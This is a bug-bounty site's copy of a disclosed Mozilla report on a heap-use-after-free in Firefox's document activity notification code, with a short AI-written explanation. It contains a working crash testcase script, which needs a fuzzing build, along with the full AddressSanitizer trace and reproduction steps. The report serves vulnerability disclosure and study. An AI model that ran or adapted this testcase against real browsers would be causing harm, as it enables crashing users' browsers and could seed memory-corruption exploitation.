Skip to content
Memory corruption Disclosed report Advanced

heap-use-after-free in mozilla::dom::NotifyActivityChanged

A heap-use-after-free occurs in Firefox's document activity notification code when a page is reloaded after a crafted script forces garbage and cycle collection. An attacker could crash the browser content process, and the freed memory could potentially be reused for further exploitation.

Nils Follow

Originally disclosed on Mozilla

  • Fixed in 4 days
  • Paid in 6 months
  • Disclosed after 4 days

Created attachment 9058491 crash.html (minimised testcase)

The following testcase crashes the latest ASAN build of Firefox 68.0a1 (SourceStamp=a83cab75b00d152a241e615bd90524aa70466c26). It requires a fuzzing build (--enable-fuzzing) and the pref user_pref("fuzzing.enabled",true).

crash.html:

<script> function start() { o14=window.document; o37=o14.implementation.createDocument('', '', null).implementation.createDocument('', '', null); o124=document.createElementNS('http://www.w3.org/1999/xhtml','img'); o224=o124['decode'](33554420); o268=o37.createElementNS('http://www.w3.org/1999/xhtml','details'); o268.appendChild(o124); setTimeout(fun0,4); } function fun0() { o14=null; o37=null; o124=null; o224=null; o268=null; FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect(); location.reload(); } </script> <body onload="start()"></body>

ASAN output:

==22791==ERROR: AddressSanitizer: heap-use-after-free on address 0x6120000c7448 at pc 0x7f277c54eac0 bp 0x7ffcc15f8970 sp 0x7ffcc15f8968 READ of size 8 at 0x6120000c7448 thread T0 (file:// Content) #0 0x7f277c54eabf in operator() /builds/worker/workspace/build/src/xpcom/base/nsCOMPtr.cpp:13:23 #1 0x7f277c54eabf in nsCOMPtr_base::assign_from_qi(nsQueryInterfaceISupports, nsID const&) /builds/worker/workspace/build/src/xpcom/base/nsCOMPtr.cpp:46 #2 0x7f2780c702df in nsCOMPtr /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:570:5 #3 0x7f2780c702df in mozilla::dom::NotifyActivityChanged(nsISupports*, void*) /builds/worker/workspace/build/src/dom/base/Document.cpp:4378 #4 0x7f2780ca62f9 in EnumerateActivityObservers /builds/worker/workspace/build/src/dom/base/Document.cpp:9021:5 #5 0x7f2780ca62f9 in mozilla::dom::Document::UpdateVisibilityState() /builds/worker/workspace/build/src/dom/base/Document.cpp:11118 #6 0x7f2780ca7373 in mozilla::dom::Document::OnPageHide(bool, mozilla::dom::EventTarget*, bool) /builds/worker/workspace/build/src/dom/base/Document.cpp:8061:3 #7 0x7f27878dd00e in nsDocumentViewer::PageHide(bool) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1421:14 #8 0x7f278a6fba77 in nsDocShell::FirePageHideNotificationInternal(bool, bool) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:923:20 #9 0x7f278a6d3936 in FirePageHideNotification /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:907:3 #10 0x7f278a6d3936 in nsDocShell::CreateContentViewer(nsTSubstring<char> const&, nsIRequest*, nsIStreamListener**) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:8010 #11 0x7f278a6d17f7 in nsDSURIContentListener::DoContent(nsTSubstring<char> const&, bool, nsIRequest*, nsIStreamListener**, bool*) /builds/worker/workspace/build/src/docshell/base/nsDSURIContentListener.cpp:183:20 #12 0x7f277f396aab in nsDocumentOpenInfo::TryContentListener(nsIURIContentListener*, nsIChannel*) /builds/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:748:18 #13 0x7f277f39287f in nsDocumentOpenInfo::DispatchContent(nsIRequest*, nsISupports*) /builds/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:420:30 #14 0x7f277f391659 in nsDocumentOpenInfo::OnStartRequest(nsIRequest*) /builds/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:299:8 #15 0x7f277c9dbd28 in nsBaseChannel::OnStartRequest(nsIRequest*) /builds/worker/workspace/build/src/netwerk/base/nsBaseChannel.cpp:797:23 #16 0x7f277ca449bc in nsInputStreamPump::OnStateStart() /builds/worker/workspace/build/src/netwerk/base/nsInputStreamPump.cpp:487:21 #17 0x7f277ca43d83 in nsInputStreamPump::OnInputStreamReady(nsIAsyncInputStream*) /builds/worker/workspace/build/src/netwerk/base/nsInputStreamPump.cpp:396:21 #18 0x7f277c6e8845 in nsInputStreamReadyEvent::Run() /builds/worker/workspace/build/src/xpcom/io/nsStreamUtils.cpp:91:20 #19 0x7f277c764475 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:295:32 #20 0x7f277c7a44b6 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14 #21 0x7f277c7ac17d in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10 #22 0x7f277db0f1bf in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:88:21 #23 0x7f277d9e4c9e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10 #24 0x7f277d9e4c9e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308 #25 0x7f277d9e4c9e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290 #26 0x7f278701f833 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27 #27 0x7f278b5f20be in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:919:20 #28 0x7f277d9e4c9e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10 #29 0x7f277d9e4c9e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308 #30 0x7f277d9e4c9e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290 #31 0x7f278b5f124c in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:757:34 #32 0x562163cf983b in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28 #33 0x562163cf983b in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:263 #34 0x7f27a0973b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #35 0x562163c1eebc in _start (/home/nils/browser/firefox/firefox/firefox+0x2debc)

0x6120000c7448 is located 136 bytes inside of 320-byte region [0x6120000c73c0,0x6120000c7500) freed by thread T0 (file:// Content) here: #0 0x562163cc69e2 in free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:124:3 #1 0x7f277c5671b1 in SnowWhiteKiller::~SnowWhiteKiller() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2416:7 #2 0x7f277c565863 in nsCycleCollector::FreeSnowWhite(bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2607:3 #3 0x7f277c572242 in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3582:3 #4 0x7f277c5714d5 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3411:9 #5 0x7f277c576576 in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3947:21 #6 0x7f278105090a in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1430:3 #7 0x7f27839acf79 in mozilla::dom::FuzzingFunctions_Binding::cycleCollect(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FuzzingFunctionsBinding.cpp:66:3 #8 0x7f278b8d8537 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:442:13 #9 0x7f278b8d8537 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:534 #10 0x7f278b8c0d2f in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:593:10 #11 0x7f278b8c0d2f in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3072 #12 0x7f278b8a2ca8 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:422:10 #13 0x7f278b8d8ea8 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:562:13 #14 0x7f278b8daaf2 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:605:8 #15 0x7f278c54a4b9 in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2636:10 #16 0x7f27838bbf00 in mozilla::dom::Function::Call(JSContext*, JS::HandleJS::Value, nsTArrayJS::Value const&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FunctionBinding.cpp:41:8 #17 0x7f2780a118b9 in void mozilla::dom::Function::Call<nsCOMPtr<nsISupports> >(nsCOMPtr<nsISupports> const&, nsTArrayJS::Value const&, JS::MutableHandleJS::Value, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JS::Realm*) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/FunctionBinding.h:73:12 #18 0x7f2780a0fcd4 in nsGlobalWindowInner::RunTimeoutHandler(mozilla::dom::Timeout*, nsIScriptContext*) /builds/worker/workspace/build/src/dom/base/nsGlobalWindowInner.cpp:5687:17 #19 0x7f2780ea2ebd in mozilla::dom::TimeoutManager::RunTimeout(mozilla::TimeStamp const&, mozilla::TimeStamp const&, bool) /builds/worker/workspace/build/src/dom/base/TimeoutManager.cpp:979:44 #20 0x7f2780ea172f in mozilla::dom::TimeoutExecutor::MaybeExecute() /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp:177:11 #21 0x7f2780ea684c in Notify /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp:244:5 #22 0x7f2780ea684c in non-virtual thunk to mozilla::dom::TimeoutExecutor::Notify(nsITimer*) /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp #23 0x7f277c78c6b1 in nsTimerImpl::Fire(int) /builds/worker/workspace/build/src/xpcom/threads/nsTimerImpl.cpp:562:40 #24 0x7f277c78ba1a in nsTimerEvent::Run() /builds/worker/workspace/build/src/xpcom/threads/TimerThread.cpp:260:11 #25 0x7f277c7ca472 in mozilla::ThrottledEventQueue::Inner::ExecuteRunnable() /builds/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:243:22 #26 0x7f277c7c30d7 in mozilla::ThrottledEventQueue::Inner::Executor::Run() /builds/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:80:15 #27 0x7f277c764475 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:295:32 #28 0x7f277c7a44b6 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14 #29 0x7f277c7ac17d in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10 #30 0x7f277db0f1b4 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:110:5 #31 0x7f277d9e4c9e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10 #32 0x7f277d9e4c9e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308 #33 0x7f277d9e4c9e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290 #34 0x7f278701f833 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27

previously allocated by thread T0 (file:// Content) here: #0 0x562163cc6d63 in __interceptor_malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:146:3 #1 0x562163cfb5cd in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:68:15 #2 0x7f2784c35d52 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:131:10 #3 0x7f2784c35d52 in NS_NewHTMLImageElement(already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser) /builds/worker/workspace/build/src/dom/html/HTMLImageElement.cpp:53 #4 0x7f2784e4b5d7 in CreateHTMLElement(unsigned int, already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser) /builds/worker/workspace/build/src/dom/html/nsHTMLContentSink.cpp:249:41 #5 0x7f2780933f5f in nsContentUtils::NewXULOrHTMLElement(mozilla::dom::Element**, mozilla::dom::NodeInfo*, mozilla::dom::FromParser, nsAtom*, mozilla::dom::CustomElementDefinition*) /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:9663:18 #6 0x7f2784e4b48b in NS_NewHTMLElement(mozilla::dom::Element**, already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser, nsAtom*, mozilla::dom::CustomElementDefinition*) /builds/worker/workspace/build/src/dom/html/nsHTMLContentSink.cpp:233:10 #7 0x7f27810870ec in NS_NewElement(mozilla::dom::Element**, already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser, nsTSubstring<char16_t> const*) /builds/worker/workspace/build/src/dom/base/nsNameSpaceManager.cpp:175:12 #8 0x7f2780c8285c in mozilla::dom::Document::CreateElementNS(nsTSubstring<char16_t> const&, nsTSubstring<char16_t> const&, mozilla::dom::ElementCreationOptionsOrString const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/Document.cpp:5355:8 #9 0x7f27837073f4 in mozilla::dom::Document_Binding::createElementNS(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Document*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/DocumentBinding.cpp:1450:59 #10 0x7f27840a7311 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3153:13 #11 0x7f278b8d8537 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:442:13 #12 0x7f278b8d8537 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:534 #13 0x7f278b8c0d2f in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:593:10 #14 0x7f278b8c0d2f in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3072 #15 0x7f278b8a2ca8 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:422:10 #16 0x7f278b8d8ea8 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:562:13 #17 0x7f278b8daaf2 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:605:8 #18 0x7f278c54a4b9 in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2636:10 #19 0x7f27836a27a0 in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:267:37 #20 0x7f2784977032 in Call<nsCOMPtrmozilla::dom::EventTarget > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12 #21 0x7f2784977032 in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:205 #22 0x7f27849265aa in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1045:22 #23 0x7f2784928b83 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1240:17 #24 0x7f2784908d50 in HandleEvent /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:355:5 #25 0x7f2784908d50 in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:349 #26 0x7f2784906f78 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:551:16 #27 0x7f278490dce3 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1046:11 #28 0x7f27878d6cda in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1099:7 #29 0x7f278a74d53c in nsDocShell::EndPageLoad(nsIWebProgress, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6582:20 #30 0x7f278a74c5e8 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6382:7 #31 0x7f278a752297 in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp #32 0x7f277f385a55 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1313:3 #33 0x7f277f38463c in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:872:14 #34 0x7f277f37f787 in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:710:9

SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/xpcom/base/nsCOMPtr.cpp:13:23 in operator() Shadow bytes around the buggy address: 0x0c2480010e30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa 0x0c2480010e40: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c2480010e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2480010e60: 00 00 00 00 00 00 00 00 00 00 00 00 06 fa fa fa 0x0c2480010e70: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd =>0x0c2480010e80: fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd 0x0c2480010e90: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2480010ea0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c2480010eb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2480010ec0: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa 0x0c2480010ed0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==22791==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the document's activity-observer list still holds a reference to an object that was freed during cycle collection, and NotifyActivityChanged dereferences it during page hide.

Impact

The content process aborts with an AddressSanitizer heap-use-after-free, so a crafted page can crash the browser; the text does not demonstrate code execution.

What the attacker needed

Firefox fuzzing build; fuzzing.enabled pref set to true; victim loads the crafted page

How it was found

  1. Load the crafted page, which creates documents, an image element and a details element and schedules a timer.
  2. When the timer fires, drop all references and force garbage and cycle collection.
  3. Reload the page, which triggers page-hide notification and the use-after-free read.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a program frees memory but keeps a pointer to it and later reads through that pointer, this is called a use-after-free. Here a web page's script triggers cleanup of some browser objects, then reloads the page, and the browser reads a document object that has already been destroyed, which crashes it.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.